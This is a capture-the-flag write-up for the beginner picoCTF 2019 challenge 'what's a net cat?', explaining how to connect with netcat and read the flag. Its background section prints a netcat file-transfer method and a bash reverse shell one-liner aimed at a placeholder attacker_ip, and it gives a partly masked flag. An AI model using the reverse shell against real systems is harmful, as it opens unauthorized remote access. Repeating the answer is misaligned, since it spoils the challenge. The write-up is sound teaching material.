Skip to main content

what's a net cat? picoCTF 2019 Solution

Practice connecting to a remote server using a fundamental command-line networking tool to retrieve the flag.

Published: April 2, 2026Updated: August 13, 2026

Description

Using netcat (nc) is going to be pretty important. Can you connect to the server at 2019shell1.picoctf.com port 4158 to get the flag?

Remote

Ensure netcat (nc) is installed on your system.

Connect to the challenge server.

bash
nc 2019shell1.picoctf.com 4158

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Connect and read the flag
    Observation
    The description gives a hostname and a port and just says to connect. That means a raw TCP connection is the whole solution: the server sends the flag as soon as you attach.
    Connecting with nc opens a raw TCP socket to the server. This particular server prints the flag the moment you connect and then closes the connection - no input required.
    bash
    nc 2019shell1.picoctf.com 4158

    Expected output

    picoCTF{...}
    What didn't work first

    Tried: Using curl instead of nc to connect to the server

    curl is an HTTP client and expects status codes and headers back. This server speaks raw TCP, not HTTP, so curl either errors out or hangs waiting for a response that never comes. nc connects at the socket layer and prints whatever bytes arrive.

    Tried: Adding the -u flag to use UDP instead of TCP

    nc -u switches to UDP, which is connectionless, so no TCP handshake happens and the server never registers a client. The service on port 4158 listens on TCP only. Drop the -u and use plain nc.

    Learn more

    netcat (nc) is a networking utility that reads from and writes to network connections using TCP or UDP. It opens a raw socket connection to the target host and port, then bridges stdin/stdout to the socket - anything typed goes to the server, and anything the server sends is printed to the terminal. It is called the "Swiss army knife" of networking tools.

    In CTF competitions, nc is used constantly: connecting to remote challenge servers that run custom binaries, interacting with TCP-based puzzles, and piping exploit scripts to remote services. The basic syntax is always nc hostname port. For TLS/SSL connections, use openssl s_client -connect hostname:port instead.

    netcat is available on virtually every Unix-like system. On Windows, ncat (from Nmap) or nc64.exe serve the same purpose. Common netcat variants include the traditional BSD netcat, OpenBSD netcat (which supports more features), and GNU netcat. The -v flag adds verbose connection output; -n skips DNS resolution; -z scans for open ports without sending data (useful for port scanning).

    • nc host port - connect to host:port (client mode)
    • nc -l port - listen for incoming connections (server mode)
    • nc -u host port - use UDP instead of TCP
    • echo 'data' | nc host port - send data and exit

    netcat as a file transfer tool: because netcat simply pipes bytes between stdin/stdout and a network socket, it can transfer any file. On the receiving end: nc -l 4444 > received_file. On the sending end: nc host 4444 < file_to_send. This raw transfer has no authentication, encryption, or integrity checking, but it is fast and requires no additional software. In CTF challenges involving pivoting or lateral movement, netcat-based file transfer is a quick way to move tools and output between machines.

    Reverse shells with netcat: one of the most important uses of netcat in penetration testing and CTF exploitation is establishing a reverse shell. If you have code execution on a target but cannot bind a port (due to firewall rules blocking inbound traffic), you can have the target connect back to your machine. On the attacker's machine: nc -l -p 4444. On the target (executed via a vulnerability): bash -i >& /dev/tcp/attacker_ip/4444 0>&1. The target initiates the outbound connection, the attacker's nc receives it, and both ends of the shell session are connected. Understanding this technique is fundamental to post-exploitation and CTF pwn challenges.

    pwntools as an upgrade over raw netcat: for complex CTF binary exploitation challenges where you need to parse binary output, send exact byte sequences, and handle timing precisely, the Python library pwntools is the standard tool. It provides remote('host', port) for network connections and process('./binary') for local processes, with methods like recv(), sendline(), recvuntil(), and interactive() that map directly to the kind of interaction netcat provides but with programmatic control. Every CTF pwner eventually graduates from manual netcat sessions to scripted pwntools exploits.

Interactive tools
  • Reverse Shell GeneratorGenerate reverse shell payloads (bash, nc, python, perl, ruby, php, node, powershell) and matching listeners. Set host and port once, copy any variant.

Flag

Reveal flag

picoCTF{nEtCat_Mast3ry_...}

Per-instance flag. Multiple hash suffixes confirmed across instances (628e0244, 700da9c7, d0c64587). Prefix picoCTF{nEtCat_Mast3ry_} is consistent.

Key takeaway

Netcat wires stdin and stdout to a raw TCP or UDP socket, which makes it the universal client for any text-based network service. Every binary exploitation challenge eventually comes down to sending and receiving bytes over a socket, and netcat teaches that mental model before tools like pwntools take over. The same primitive underlies reverse shells, port forwarding, and banner grabbing in real penetration tests.

Related reading

Useful tools for General Skills

Where to go next